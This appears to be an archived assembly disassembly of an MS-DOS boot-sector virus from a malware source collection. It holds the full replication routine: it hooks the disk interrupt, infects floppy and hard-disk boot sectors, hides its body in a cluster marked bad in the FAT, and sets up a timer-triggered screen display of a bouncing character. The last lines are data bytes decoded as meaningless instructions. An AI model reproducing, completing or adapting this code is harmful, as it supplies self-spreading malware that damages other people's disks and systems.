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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vboot.asm

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2021-01-13 00:04:54 +00:00
jmp short loc_3
nop
dec cx
inc dx
dec bp
and [bx+si],ah
xor bp,data_10
add al,[si]
data_14 dw 1
add al,[bx+si]
add bh,[bp+di]
mov data_12,al
add [bx+di],dl
add [si],al
add [bx+di],dl
add [bp+di],dh
loc_3:
xor ax,ax
mov ss,ax
mov sp,7C00h
mov ds,ax
mov ax,data_5
sub ax,2
mov data_5,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
sub ax,7C0h
mov es,ax
mov si,7C00h
mov di,si
mov cx,100h
rep movsw ; Rep while cx>0 Mov [si] to es:[di]
db 8Eh
db 0C8h
push cs
pop ds
call sub_1
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_1 proc near
xor ah,ah ; Zero register
int 13h ; Disk dl=drive b: ah=func 00h
; reset disk, al=return status
and data_24,80h
mov bx,data_25
push cs
pop ax
sub ax,20h
mov es,ax
call sub_3
mov bx,data_25
inc bx
mov ax,0FFC0h
mov es,ax
call sub_3
xor ax,ax ; Zero register
mov data_23,al
mov ds,ax
mov ax,data_3
mov bx,data_4
mov data_3,7CD0h
mov data_4,cs
push cs
pop ds
mov data_19,ax
mov data_20,bx
mov dl,data_24
jmp far ptr loc_2
sub_1 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_2 proc near
mov ax,301h
jmp short loc_4
;==== External Entry into Subroutine ======================================
sub_3:
mov ax,201h
loc_4:
xchg ax,bx
add ax,data_18
xor dx,dx ; Zero register
div data_16 ; ax,dxrem=dx:ax/data
inc dl
mov ch,dl
xor dx,dx ; Zero register
div data_17 ; ax,dxrem=dx:ax/data
mov cl,6
shl ah,cl ; Shift w/zeros fill
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx
;==== External Entry into Subroutine ======================================
sub_4:
mov dl,data_24
mov bx,8000h
int 13h ; Disk dl=drive b: ah=func 02h
; read sectors to memory es:bx
jnc loc_ret_5 ; Jump if carry=0
pop ax
loc_ret_5:
retn
sub_2 endp
push ds
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test data_23,1
jnz loc_8 ; Jump if not zero
cmp ah,2
jne loc_8 ; Jump if not equal
cmp data_24,dl
mov data_24,dl
jnz loc_7 ; Jump if not zero
xor ah,ah ; Zero register
int 1Ah ; Real time clock ah=func 00h
; get system timer count cx,dx
test dh,7Fh
jnz loc_6 ; Jump if not zero
test dl,0F0h
jnz loc_6 ; Jump if not zero
push dx
call sub_6
pop dx
loc_6:
mov cx,dx
sub dx,data_26
mov data_26,cx
sub dx,24h
jc loc_8 ; Jump if carry Set
loc_7:
or data_23,1
push si
push di
call sub_5
pop di
pop si
and data_23,0FEh
loc_8:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
jmp far ptr loc_38
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_5 proc near
mov ax,201h
mov dh,0
mov cx,1
call sub_4
test data_24,80h
jz loc_11 ; Jump if zero
mov si,81BEh
mov cx,4
locloop_9:
cmp data_8[si],1
je loc_10 ; Jump if equal
cmp data_8[si],4
je loc_10 ; Jump if equal
add si,10h
loop locloop_9 ; Loop if cx > 0
retn
loc_10:
mov dx,[si]
mov cx,data_7[si]
mov ax,201h
call sub_4
loc_11:
mov si,8002h
mov di,7C02h
mov cx,1Ch
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
cmp data_46,1357h
jne loc_13 ; Jump if not equal
cmp data_45,0
jae loc_ret_12 ; Jump if above or =
mov ax,data_43
mov data_22,ax
mov si,data_44
jmp loc_23
loc_ret_12:
retn
loc_13:
cmp data_37,200h
jne loc_ret_12 ; Jump if not equal
cmp data_38,2
jb loc_ret_12 ; Jump if below
mov cx,data_39
mov al,data_40
cbw ; Convrt byte to word
mul data_42 ; ax = data * ax
add cx,ax
mov ax,20h
mul data_41 ; ax = data * ax
add ax,1FFh
mov bx,200h
div bx ; ax,dx rem=dx:ax/reg
add cx,ax
mov data_22,cx
mov ax,data_15
sub ax,data_22
mov bl,data_13
xor dx,dx ; Zero register
xor bh,bh ; Zero register
div bx ; ax,dx rem=dx:ax/reg
inc ax
mov di,ax
and data_23,0FBh
cmp ax,0FF0h
jbe loc_14 ; Jump if below or =
or data_23,4
loc_14:
mov si,1
mov bx,data_14
dec bx
mov data_21,bx
mov data_27,0FEh
jmp short loc_15
data_21 dw 1Ah
data_22 dw 73h
data_23 db 4
data_24 db 81h
data_25 dw 654Bh
add data_9[bx],dl
push bp
stosb ; Store al to es:[di]
loc_15:
inc data_21
mov bx,data_21
add data_27,2
call sub_3
jmp short loc_20
loc_16:
mov ax,3
test data_23,4
jz loc_17 ; Jump if zero
inc ax
loc_17:
mul si ; dx:ax = reg * ax
shr ax,1 ; Shift w/zeros fill
sub ah,data_27
mov bx,ax
cmp bx,1FFh
jae loc_15 ; Jump if above or =
mov dx,data_36[bx]
test data_23,4
jnz loc_19 ; Jump if not zero
mov cl,4
test si,1
jz loc_18 ; Jump if zero
shr dx,cl ; Shift w/zeros fill
loc_18:
and dh,0Fh
loc_19:
test dx,0FFFFh
jz loc_21 ; Jump if zero
loc_20:
inc si
cmp si,di
jbe loc_16 ; Jump if below or =
retn
loc_21:
mov dx,0FFF7h
test data_23,4
jnz loc_22 ; Jump if not zero
and dh,0Fh
mov cl,4
test si,1
jz loc_22 ; Jump if zero
shl dx,cl ; Shift w/zeros fill
loc_22:
or data_36[bx],dx
mov bx,data_21
call sub_2
mov ax,si
sub ax,2
mov bl,data_13
xor bh,bh ; Zero register
mul bx ; dx:ax = reg * ax
add ax,data_22
mov si,ax
mov bx,0
call sub_3
mov bx,si
inc bx
call sub_2
loc_23:
mov bx,si
mov data_25,si
push cs
pop ax
sub ax,20h
mov es,ax
call sub_2
push cs
pop ax
sub ax,40h
mov es,ax
mov bx,0
call sub_2
retn
sub_5 endp
data_26 dw 246Eh
data_27 db 32h
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_6 proc near
test data_23,2
jnz loc_ret_24 ; Jump if not zero
or data_23,2
mov ax,0
mov ds,ax
mov ax,data_1
mov bx,data_2
mov data_1,7EDFh
mov data_2,cs
push cs
pop ds
mov data_28,ax
mov data_29,bx
loc_ret_24:
retn
sub_6 endp
push ds
push ax
push bx
push cx
push dx
push cs
pop ds
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
mov bl,al
cmp bx,data_34
je loc_27 ; Jump if equal
mov data_34,bx
dec ah
mov data_35,ah
mov ah,1
cmp bl,7
jne loc_25 ; Jump if not equal
dec ah
loc_25:
cmp bl,4
jae loc_26 ; Jump if above or =
dec ah
loc_26:
mov data_33,ah
mov data_31,101h
mov data_32,101h
mov ah,3
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
push dx
mov dx,data_31
jmp short loc_29
loc_27:
mov ah,3
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
push dx
mov ah,2
mov dx,data_31
int 10h ; Video display ah=functn 02h
; set cursor location in dx
mov ax,data_30
cmp data_33,1
jne loc_28 ; Jump if not equal
mov ax,8307h
loc_28:
mov bl,ah
mov cx,1
mov ah,9
int 10h ; Video display ah=functn 09h
; set char al & attrib ah @curs
loc_29:
mov cx,data_32
cmp dh,0
jne loc_30 ; Jump if not equal
xor ch,0FFh
inc ch
loc_30:
cmp dh,18h
jne loc_31 ; Jump if not equal
xor ch,0FFh
inc ch
loc_31:
cmp dl,0
jne loc_32 ; Jump if not equal
xor cl,0FFh
inc cl
loc_32:
cmp dl,data_35
jne loc_33 ; Jump if not equal
xor cl,0FFh
inc cl
loc_33:
cmp cx,data_32
jne loc_35 ; Jump if not equal
mov ax,data_30
and al,7
cmp al,3
jne loc_34 ; Jump if not equal
xor ch,0FFh
inc ch
loc_34:
cmp al,5
jne loc_35 ; Jump if not equal
xor cl,0FFh
inc cl
loc_35:
add dl,cl
add dh,ch
mov data_32,cx
mov data_31,dx
mov ah,2
int 10h ; Video display ah=functn 02h
; set cursor location in dx
mov ah,8
int 10h ; Video display ah=functn 08h
; get char al & attrib ah @curs
mov data_30,ax
mov bl,ah
cmp data_33,1
jne loc_36 ; Jump if not equal
mov bl,83h
loc_36:
mov cx,1
mov ax,907h
int 10h ; Video display ah=functn 09h
; set char al & attrib ah @curs
pop dx
mov ah,2
int 10h ; Video display ah=functn 02h
; set cursor location in dx
pop dx
pop cx
pop bx
pop ax
pop ds
jmp far ptr loc_1
data_30 dw 0
data_31 dw 101h
data_32 dw 101h
data_33 db 0
data_34 dw 0FFFFh
data_35 db 50h
mov bh,0B7h
mov bh,0B6h
inc ax
inc ax
mov dh,bl
out 5Ah,al ; port 5Ah
lodsb ; String [si] to al
shl ah,cl ; Shift w/zeros fill
jmp far ptr loc_39
inc ax
db 64h
pop sp
db 60h
push dx
inc ax
inc ax
inc ax
inc ax
db 64h
db 62h
pop si
db 62h
db 60h
pop si
jo loc_37 ; Jump if overflow=1
inc ax
inc cx
mov bh,0B7h
mov bh,0B6h

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